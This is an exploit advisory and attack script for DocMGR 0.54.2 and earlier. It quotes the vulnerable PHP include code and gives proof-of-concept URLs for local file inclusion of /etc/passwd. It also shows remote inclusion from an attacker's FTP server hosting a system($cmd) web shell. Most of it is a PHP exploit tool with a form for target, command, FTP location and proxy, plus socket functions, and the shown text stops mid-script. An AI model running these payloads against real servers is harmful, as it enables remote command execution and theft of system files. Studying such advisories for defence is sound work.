--------------- DocMGR <= 0.54.2 arbitrary remote inclusion --------------------
i)
vulnerable code in modules/center/admin/accounts/process.php:
<?
$pageAction = $_POST["pageAction"];
$includeModule = $_REQUEST["includeModule"];
if ($_REQUEST["accountId"]!=NULL) $accountId = $_REQUEST["accountId"];
elseif ($_SESSION["accountId"]!=NULL) $accountId = $_SESSION["accountId"];
if (!$includeModule && $accountId) $includeModule="accountprofile";
/********************************************************************
process our search string
********************************************************************/
if ($pageAction=="search") {
$searchString = $_REQUEST["searchString"];
$searchHeader = "<div class=\"toolHeader\">
Results For \"".$searchString."\"
</div>
";
$option = null;
if (defined("USE_LDAP")) {
if (defined("GLOBAL_ADMIN")) $option["search_base"] = LDAP_BASE;
else $option["search_base"] = SEARCH_BASE;
}
//create our search parameter array
$option = null;
$option["conn"] = $conn;
$option["searchParm"]["login"] = $searchString;
$option["searchParm"]["first_name"] = $searchString;
$option["searchParm"]["last_name"] = $searchString;
$option["wildcard"] = "last";
$searchResults = returnAccountList($option);
//if we find one match, load this account
if ($searchResults["count"]==1) {
$accountId = $searchResults["id"][0];
$pageAction = null;
$_POST["pageAction"] = null;
$includeModule="accountprofile";
}
else {
$_SESSION["accountId"] = null;
$accountId = null;
$includeModule = null;
}
}
if ($accountId!=NULL) {
$_SESSION["accountId"] = $accountId;
$accountInfo = returnAccountInfo($conn,$accountId,LDAP_BASE);
//make sure this user can alter the account. If the account is an admin, then they cannot
if ($accountId!=USER_ID) {
//see if this user has permissions to edit other users
if (!bitset_compare(BITSET,MANAGE_USERS,ADMIN))
$siteErrorMessage = "You do not have permissions to edit other users\n";
else {
//see if this is an non-admin user trying to edit an administrator
if (!bitset_compare(BITSET,ADMIN,null)) {
$bitset_temp = returnUserBitset($conn,$accountId);
if (bitset_compare($bitset_temp,ADMIN,null))
$permErrorMessage = "You cannot edit this user. This user is an
administrator.";
}
}
}
}
//processing for our sub module. We cannot call these with a function, or
//we do not get information passed from process to display like we want
$processPath = $siteModInfo["$includeModule"]["module_path"]."process.php";
$functionPath = $siteModInfo["$includeModule"]["module_path"]."function.php";
if (file_exists($functionPath)) include($functionPath);
if (file_exists($processPath)) include($processPath);
…
if short_open_tag = On in php.ini you can execute the script directly.
$includeModule var is not initizialized so, if register_globals = On, you can
set it to an index of your choice, ex: "suntzu" now
$siteModInfo["suntzu"]["module_path"] is not initizialized.
On PHP 4, with magic quotes = Off you can now include an arbitrary local
resource, poc:
http://[target]/[path_to_docmgr]/modules/center/admin/accounts/process.php?includeModule=suntzu&siteModInfo[suntzu][module_path]=…/…/…/…/…/…/…/…/…/etc/passwd%00
on PHP 5 - on it the file_exists() function supports ftp resources… - you can
include from remote an arbitrary process.php or function.php file, poc:
http://[target]/[path_to_docmgr]/modules/center/admin/accounts/process.php?includeModule=suntzu&siteModInfo[suntzu][module_path]=ftp://username:[email protected]/
if in ftp://username:[email protected]/process.php we have code like this:
<?php system($cmd);?>
you can launch operating systems commands:
http://[target]/[path_to_docmgr]/modules/center/admin/accounts/process.php?cmd=ls%20-la&includeModule=suntzu&siteModInfo[suntzu][module_path]=ftp://username:[email protected]/
exploit:
<?php
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",0);
ob_implicit_flush (1);
echo'<html><head><title> ** DocMGR <= 0.54.2 remote commands execution exploit**
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} {text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}–></style></head><body><p class="Stile6">
** DocMGR <= 0.54.2 remote commands execution exploit* </p><p class="Stile6">a
script by rgod at <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a> </p> <table width="84%"><tr><td width="43%">
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input
type="text" name="host"> <span class="Stile5">* target (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/DocMgr/ or just / ) </span></p><p><input type="text" name="cmd"> <span
class="Stile5"> * specify a command </span> </p> <p> <input type="text"
name="FTP_LOCATION"><span class="Stile5"> * specify an ftp location (ex: ftp://u
sername:[email protected])</span> </p> <p> <input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value)</span> </p>
<p><input type="text" name="proxy"><span class="Stile5"> send exploit through
an HTTP proxy (ip:port) </span> </p> <p> <input type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';
function show($headeri)
{
$ii=0;$ji=0;$ki=0;$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1){
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++) {
echo "<td>".htmlentities_($headeri[$li+$ki])."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {
echo "<td>0".htmlentities($datai)."</td>";
}
else {
echo "<td>".htmlentities($datai)."</td> ";
}
$ii++;$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
echo "<td>".htmlentities($headeri[$li])."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //2x speed
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy…';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."…<br>";
if ($proxy=='') {
$result = socket_connect($socket, $host, $port);
}
else {
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy…<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else {
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket…";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.htmlentities($host); die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid prozy…';die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy…<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy…';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);echo nl2br(htmlentities($html));
}
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$FTP_LOCATION=urlencode($_POST[FTP_LOCATION]);
$cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy];
echo "<span class=\"Stile5\">";
if (($host<>'') and ($path<>'') and ($cmd<>'') and ($FTP_LOCATION<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error… check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
$path=str_replace("\r","",$path);$path=str_replace("\n","",$path);
rgod